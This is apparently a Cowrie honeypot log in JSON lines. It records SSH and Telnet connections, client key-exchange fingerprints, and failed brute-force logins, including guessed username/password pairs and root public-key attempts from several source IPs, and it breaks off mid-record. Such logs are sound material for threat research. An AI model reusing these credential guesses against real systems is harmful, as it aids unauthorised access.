{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:41.060085Z","src_ip":"103.24.63.85","session":"5eae63c6cf2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e,./","message":"login attempt [root/1q2w3e,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:41.075934Z","src_ip":"5.181.124.9","session":"9975670861fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:41.659106Z","src_ip":"103.24.63.85","session":"5eae63c6cf2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48022,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f0d8eaeff7","protocol":"telnet","message":"New connection: 192.119.13.58:48022 (10.17.0.5:23) [session: 50f0d8eaeff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:41.947650Z"}
{"eventid":"cowrie.session.closed","duration":"25.5","message":"Connection lost after 25.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:42.476352Z","src_ip":"5.181.124.9","session":"9975670861fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:42.858686Z","src_ip":"103.24.63.85","session":"5eae63c6cf2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":57701,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6dfb84e246c","protocol":"ssh","message":"New connection: 14.224.227.189:57701 (159.203.135.109:22) [session: c6dfb84e246c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:45.840986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:45.851332Z","src_ip":"14.224.227.189","session":"c6dfb84e246c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.819737911224365,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:46.037925Z","src_ip":"192.119.13.58","session":"4819dd63ddef","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:46.093341Z","src_ip":"14.224.227.189","session":"c6dfb84e246c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rishabh","password":"rishabh123","message":"login attempt [rishabh/rishabh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:47.087481Z","src_ip":"14.224.227.189","session":"c6dfb84e246c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3325d301e1a4","protocol":"telnet","message":"New connection: 192.119.13.58:33536 (10.17.0.5:23) [session: 3325d301e1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:47.923543Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:48.332192Z","src_ip":"14.224.227.189","session":"c6dfb84e246c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.47525191307068,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:50.469157Z","src_ip":"192.119.13.58","session":"75958f15da74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59724,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d2d2983980","protocol":"telnet","message":"New connection: 192.119.13.58:59724 (10.17.0.5:23) [session: 26d2d2983980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:44:57.057858Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44492,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb507c885223","protocol":"telnet","message":"New connection: 192.119.13.58:44492 (10.17.0.5:23) [session: eb507c885223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:01.906555Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45152,"dst_ip":"10.17.0.5","dst_port":23,"session":"a197e39f0343","protocol":"telnet","message":"New connection: 192.119.13.58:45152 (10.17.0.5:23) [session: a197e39f0343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:02.141362Z"}
{"eventid":"cowrie.session.closed","duration":49.31732392311096,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:07.710743Z","src_ip":"192.119.13.58","session":"ff2753123f66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.599141120910645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:08.234896Z","src_ip":"192.119.13.58","session":"74cfe9373821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42342,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f8596692547","protocol":"telnet","message":"New connection: 192.119.13.58:42342 (10.17.0.5:23) [session: 1f8596692547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:11.103570Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1c9e08b512","protocol":"telnet","message":"New connection: 192.119.13.58:42674 (10.17.0.5:23) [session: ba1c9e08b512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:11.233510Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2a1a031476b","protocol":"telnet","message":"New connection: 192.119.13.58:47114 (10.17.0.5:23) [session: a2a1a031476b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:12.743513Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e76ef5f60d9","protocol":"telnet","message":"New connection: 192.119.13.58:46770 (10.17.0.5:23) [session: 9e76ef5f60d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:21.682569Z"}
{"eventid":"cowrie.session.closed","duration":34.79181694984436,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:22.715287Z","src_ip":"192.119.13.58","session":"3325d301e1a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.69107985496521,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:23.638621Z","src_ip":"192.119.13.58","session":"50f0d8eaeff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f31b1304c21","protocol":"telnet","message":"New connection: 192.119.13.58:38104 (10.17.0.5:23) [session: 8f31b1304c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:27.784868Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f51f0d312a88","protocol":"telnet","message":"New connection: 192.119.13.58:55768 (10.17.0.5:23) [session: f51f0d312a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:33.482499Z"}
{"eventid":"cowrie.session.closed","duration":38.200714349746704,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:35.258473Z","src_ip":"192.119.13.58","session":"26d2d2983980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.16","src_port":58722,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc612be3166d","protocol":"ssh","message":"New connection: 89.37.117.16:58722 (10.17.0.5:22) [session: fc612be3166d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:38.158586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:38.166319Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:38.305716Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:78:37:97:59:61:2b:83:36:d3:11:6f:c8:df:b3:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9kpDOirRZY2Y83RnAEun5iQ0F5ZB0J2SPKlGnoX7m/7RIQPISTumzcNBCXMl+SJ6hwp9hjwI9E+SZnjmRLUBWMVW7O/7zvAYObn9UtjVH5Y28BpHWQq71lAWi87WtQlPFetDEEQ+k5BXAWuZWFLuOADXCkRRp28QLAyV6s2ZbiEqpsbdpFMu7r+PAcM8XdkF3imcJCyCQBfRZEzmI1tj0fisR4toekM0dlARbdRyS7RpK6npGBlyvu471ktJ8LFgjUKkYo1W319eJTso+aWsIJQh90ZMFPjNv+oi/a04q10rZAUevHuVsI63E38SwWpOdeEKO74zdgwhkwmUZWW2b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:78:37:97:59:61:2b:83:36:d3:11:6f:c8:df:b3:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:38.951362Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:78:37:97:59:61:2b:83:36:d3:11:6f:c8:df:b3:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9kpDOirRZY2Y83RnAEun5iQ0F5ZB0J2SPKlGnoX7m/7RIQPISTumzcNBCXMl+SJ6hwp9hjwI9E+SZnjmRLUBWMVW7O/7zvAYObn9UtjVH5Y28BpHWQq71lAWi87WtQlPFetDEEQ+k5BXAWuZWFLuOADXCkRRp28QLAyV6s2ZbiEqpsbdpFMu7r+PAcM8XdkF3imcJCyCQBfRZEzmI1tj0fisR4toekM0dlARbdRyS7RpK6npGBlyvu471ktJ8LFgjUKkYo1W319eJTso+aWsIJQh90ZMFPjNv+oi/a04q10rZAUevHuVsI63E38SwWpOdeEKO74zdgwhkwmUZWW2b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:38.955661Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:06:ff:72:e2:3e:1d:30:59:43:66:03:27:69:93:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5XuaFeVysJVZlAN907xPNQGmWkTMkzA6k1/NE8dlygrFNzfM8dVMsKldryfSBZ+zvB0yNjqFUDuAUkdAzcsKZPbxZDyE5e6k8o9bpOFyfJC2oaFXTBN4ohK8WSVQ81ORpnnhSiKZLPLYFuX8WYy3X1PRnOv066itwKHwT2BevSVpFjTTv62JpHeQ0KXyIPD5T2bpCzw7IcyOX3VdDKxAkvgZJ2kRa9j8QiujN2sPhGGdMkmSJ7RN75ZzvdOCedexZvvIiXLjNeShN6e8d9+naanoZSm9PsgNsK2e/TjIV//m04iMZc6wilv7GWxfBbIcSz8CrGDmkLsH+mVqLdq8dQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:06:ff:72:e2:3e:1d:30:59:43:66:03:27:69:93:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.090568Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:06:ff:72:e2:3e:1d:30:59:43:66:03:27:69:93:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5XuaFeVysJVZlAN907xPNQGmWkTMkzA6k1/NE8dlygrFNzfM8dVMsKldryfSBZ+zvB0yNjqFUDuAUkdAzcsKZPbxZDyE5e6k8o9bpOFyfJC2oaFXTBN4ohK8WSVQ81ORpnnhSiKZLPLYFuX8WYy3X1PRnOv066itwKHwT2BevSVpFjTTv62JpHeQ0KXyIPD5T2bpCzw7IcyOX3VdDKxAkvgZJ2kRa9j8QiujN2sPhGGdMkmSJ7RN75ZzvdOCedexZvvIiXLjNeShN6e8d9+naanoZSm9PsgNsK2e/TjIV//m04iMZc6wilv7GWxfBbIcSz8CrGDmkLsH+mVqLdq8dQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.094836Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:2e:9f:d7:3b:ad:7e:86:24:50:a8:a7:66:50:6c:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD+xoiZ25aRIgGbEnshtfVuxgLCeXBXroamWDQsKfUL+HIgc9JbjfWjNlHeDJJZ0ZmbgJVYS8Lqu+HN2buzp03WPIipka9Jq+5D5oXmzymFjMRUjlRWz2sVmU5ymwd1J9J9eFF51pkU9qXS9FLkELFSG7UlWJCHg/1zgJ8sbM2EOYZ4/Mj6dqdV/Sumv98lZO+1pEVRIoWt42XJ9KphNJNvm5Ph+BeKoKjTyw9mDFkFNRAqmQPPoKQR98KT0WIZVHdHdgcIIH0CQoWliR4vjn8mrrZ0kWXLP9bO8VRDoX4DpRDPsHfHV2VLWwRWheTFzCpKq6KuMYdvLDcCn/5OSTR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:2e:9f:d7:3b:ad:7e:86:24:50:a8:a7:66:50:6c:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.230148Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:2e:9f:d7:3b:ad:7e:86:24:50:a8:a7:66:50:6c:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD+xoiZ25aRIgGbEnshtfVuxgLCeXBXroamWDQsKfUL+HIgc9JbjfWjNlHeDJJZ0ZmbgJVYS8Lqu+HN2buzp03WPIipka9Jq+5D5oXmzymFjMRUjlRWz2sVmU5ymwd1J9J9eFF51pkU9qXS9FLkELFSG7UlWJCHg/1zgJ8sbM2EOYZ4/Mj6dqdV/Sumv98lZO+1pEVRIoWt42XJ9KphNJNvm5Ph+BeKoKjTyw9mDFkFNRAqmQPPoKQR98KT0WIZVHdHdgcIIH0CQoWliR4vjn8mrrZ0kWXLP9bO8VRDoX4DpRDPsHfHV2VLWwRWheTFzCpKq6KuMYdvLDcCn/5OSTR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.236238Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:9d:86:2a:82:fa:c8:95:05:44:bd:ed:dc:27:af:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2IbpWZ/RhBVJxmDBOS2UFKOXcxP9FDN5j4oPdk39N1iuop0mjvKN6laQVunPWcntw7NLuiVaUC8UrMJp04i+VsL/NQaNkRh3tLr9dYPBtSSlEyvPv71qQoF4Pa+eC8llVHUEupXzKUN4LiVYL/gPr3X073mHIoe2RYVRENNnGMDy9NEpaWaLP0SmHcHFsW7MWC7tnc+/thP5v7fBmwnpd8h/B56scRqpX0x2FdhqBtng0A+5R6amb92voLGTpKM+/9H14QI5u6gr5JP661SZM+IQs9MoTVzt2rFtagBATbEN2EEM+e3NOz1v0mUvI6KwMJtUusigYTrVpD1gRlIAzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:9d:86:2a:82:fa:c8:95:05:44:bd:ed:dc:27:af:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.373836Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:9d:86:2a:82:fa:c8:95:05:44:bd:ed:dc:27:af:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2IbpWZ/RhBVJxmDBOS2UFKOXcxP9FDN5j4oPdk39N1iuop0mjvKN6laQVunPWcntw7NLuiVaUC8UrMJp04i+VsL/NQaNkRh3tLr9dYPBtSSlEyvPv71qQoF4Pa+eC8llVHUEupXzKUN4LiVYL/gPr3X073mHIoe2RYVRENNnGMDy9NEpaWaLP0SmHcHFsW7MWC7tnc+/thP5v7fBmwnpd8h/B56scRqpX0x2FdhqBtng0A+5R6amb92voLGTpKM+/9H14QI5u6gr5JP661SZM+IQs9MoTVzt2rFtagBATbEN2EEM+e3NOz1v0mUvI6KwMJtUusigYTrVpD1gRlIAzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.377894Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:aa:9a:7b:7b:9b:7d:fa:9c:59:e7:db:7a:21:f1:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeExaPROh7EXnFDq9FfhsbUX2VuFcVp5HQatdCCE0LBAFzq2Sg6RaVRAGcAXxh1G2FBSRvav1AlFoLzeyO27xOMF0k9xmoOBwc11EatNA8Y9xvvTheOC8KvBbrleXiVYrW8NJ+66cM8h6LWxcYkCZ3ztoQrHxVYF6pBKxknYZ+lp+jOevSYi38UVYTipLvGuResuFwPzWZ701vREugWlfuokYMwvIu0VAyzrMYe6DOs13LwQBw3JDcCjdzTN2Ny4JsfvOhEELnYpRwnRs+S9V5MuW9Z9zdCqEkJnfvQ6qaolSdA5RlmhC3pHfNeGdeZQzuoDCnnuhqn0KIiHsPu8XG8HPHfGRHY5R1yrx+8ZMPZhbcYCMzetqRNoYIMzayCfKNn4Q9cDrVcWMB2QTVfpyX9T3BYO/oA1ZS53lBXwxJMHOtSJ96qmXd/3DLvm+ss6jCkyJXGHGVph0olTTqHt7JQ6F1UKAwKH4uXA7RW56ZX9aSGt/8NVSOns7K8N+yuZdDE5KguVVYIKsbpO3dY351V8f5bKcD7qVfqb10EKthdquRp2b5GNXbcXEShG8n2X8trgrpp/reKc8MrEI4hXOb2eadLoFlVG3FTJ8gXbkMYptHNdwPvdVHrlqLKNNH26sQ8LqRMkjEnSeCX9eN2PrFUKK8xlJ+tGN86ho2eYPZDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:aa:9a:7b:7b:9b:7d:fa:9c:59:e7:db:7a:21:f1:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:45:39.512465Z","src_ip":"89.37.117.16","session":"fc612be3166d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:aa:9a:7b:7b:9b:7d:fa:9c:59:e7:db:7a:21:f1:18","key":"ssh-rsa 